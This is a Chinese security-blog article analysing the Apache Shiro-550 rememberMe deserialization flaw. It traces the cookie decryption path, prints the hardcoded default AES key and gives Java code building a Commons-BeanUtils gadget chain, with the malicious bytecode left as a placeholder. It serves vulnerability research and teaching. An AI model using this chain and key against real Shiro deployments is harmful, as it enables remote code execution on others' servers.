freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro550 Commons-beanutils构造链分析
2022-05-02 18:05:07
所属地 河北

1.前言

本文主要分析Shiro550中的CB链利用,因为在一些情况下,CC链可能无法使用。

2.shiro流程分析

首先会在

AbstractRememberMeManager#getRememberedPrincipals获取上下文。

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;

        try {
            byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
            if (bytes != null && bytes.length > 0) {
                principals = this.convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException var4) {
            principals = this.onRememberedPrincipalFailure(var4, subjectContext);
        }

        return principals;
    }

之后跟进this.getRememberedSerializedIdentity方法。可以发现readValue这个方法,继续跟入

1651482827_626fa0cb67dc3f59d9cc8.png!small

可以发现在获取完cookie的值之后,进行了return

public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
    String name = this.getName();
    String value = null;
    javax.servlet.http.Cookie cookie = getCookie(request, name);
    if (cookie != null) {
        value = cookie.getValue();
        log.debug("Found '{}' cookie value [{}]", name, value);
    } else {
        log.trace("No '{}' cookie value", name);
    }

    return value;
}

如图可以看到,cookie的value成功获取到

1651483001_626fa179e3e0e68f25abc.png!small

在后续,是一个解码的操作

1651483069_626fa1bd678aed1642190.png!small?1651483069718

然后跟进convertBytesToPrincipals方法

1651483116_626fa1ecd7d90dd172e48.png!small

进入之后,可以看见是一个将base64解码的cookie进行传入

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (this.getCipherService() != null) {
            bytes = this.decrypt(bytes);
        }

        return this.deserialize(bytes);
    }

this.decrypt如下

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }

        return serialized;
    }

cipherService.decrypt(encrypted, this.getDecryptionCipherKey()); 第一个为cookie value,第二个是key

先追一下key

1651484738_626fa84292e5417ed2b75.png!small

既然上方是get方法来获取key,那么只需要找一下set方法即可,找到之后,可以发现其set方法,是被setCipherKey来调用,而key就是cipherKey

1651484808_626fa888ae7d200b2a6cf.png!small

而setCipherKey传入的参数,实则是一个静态变量。而该key则是

kPH+bIxk5D2deZiIxcaaaA==

1651484890_626fa8da5a16e77c8b595.png!small

追踪完key是什么东西之后,cipherService.decrypt方法最终就是一个解密的操作

1651485065_626fa98981d72e185fa5d.png!small

最后将其进行反序列化

1651485124_626fa9c4297e27816277d.png!small

1651485162_626fa9ea1baa444d125d9.png!small

3.Commons-beanutils构造链

但是在无commons-collections组件的情况下,只能通过cb链来利用了。所以本文详讲cb链用法。

完整代码如下,相信很多小伙伴都分析过CC链,其实是与之类似的。

public static byte[] bytes = Base64.getDecoder().decode("恶意代码");
public static void SetFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException, IOException, ClassNotFoundException {
    TemplatesImpl obj = new TemplatesImpl();
    SetFieldValue(obj, "_bytecodes", new byte[][]{bytes});
    SetFieldValue(obj, "_name", "HelloTemplatesImpl");
    SetFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    //CB链
    BeanComparator comparator = new BeanComparator();
    //CC2
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
    queue.add("1");
    queue.add("2");
    SetFieldValue(comparator,"property","outputProperties");
    SetFieldValue(queue,"queue",new Object[]{obj,obj});

    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CBShiro.bin"));
    objectOutputStream.writeObject(queue);
    objectOutputStream.close();

    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CBShiro.bin"));
    objectInputStream.readObject();
    objectInputStream.close();
}

BeanComparator#compare中52行,可以看见会调用o1对象的property属性的get方法

Object value1 = PropertyUtils.getProperty(o1, this.property);

1651485390_626faace4ef65f374a0b9.png!small

PropertyUtils.getProperty()让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类

这里拿CC3前半部分来做测试,CC3直接接触是通过newTransformer来进行命令执行。而在newTransformer的上层,有一个getOutput

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

可以看到在传入进outputProperties之后,就会执行命令

1651485455_626fab0f1abb6fd127d61.png!small

在上方中,已经分析完了BeanComparator#compare。现在只需要找到有哪出的readObject调用到了该compare即可

PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
queue.add("1");
queue.add("2");
SetFieldValue(comparator,"property","outputProperties");
SetFieldValue(queue,"queue",new Object[]{obj,obj});

跟进其readObject方法,进入heapify()1651485533_626fab5dac7b10343db8e.png!small

之后跟入siftDown()

1651485606_626faba64198c61668a2c.png!small

siftDownUsingComparator跟入

1651485633_626fabc19d6991e2be7e7.png!small

之后就可以看到。进行了compare操作,而此时的comparator,就是BeanComparator了

1651485700_626fac04166f527f3f9c4.png!small

至于这两条反射的话,很简单,自行分析即可,总体来说比较像CC2

SetFieldValue(comparator,"property","outputProperties"); 
SetFieldValue(queue,"queue",new Object[]{obj,obj});
# Java代码审计 # Java反序列化漏洞分析 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录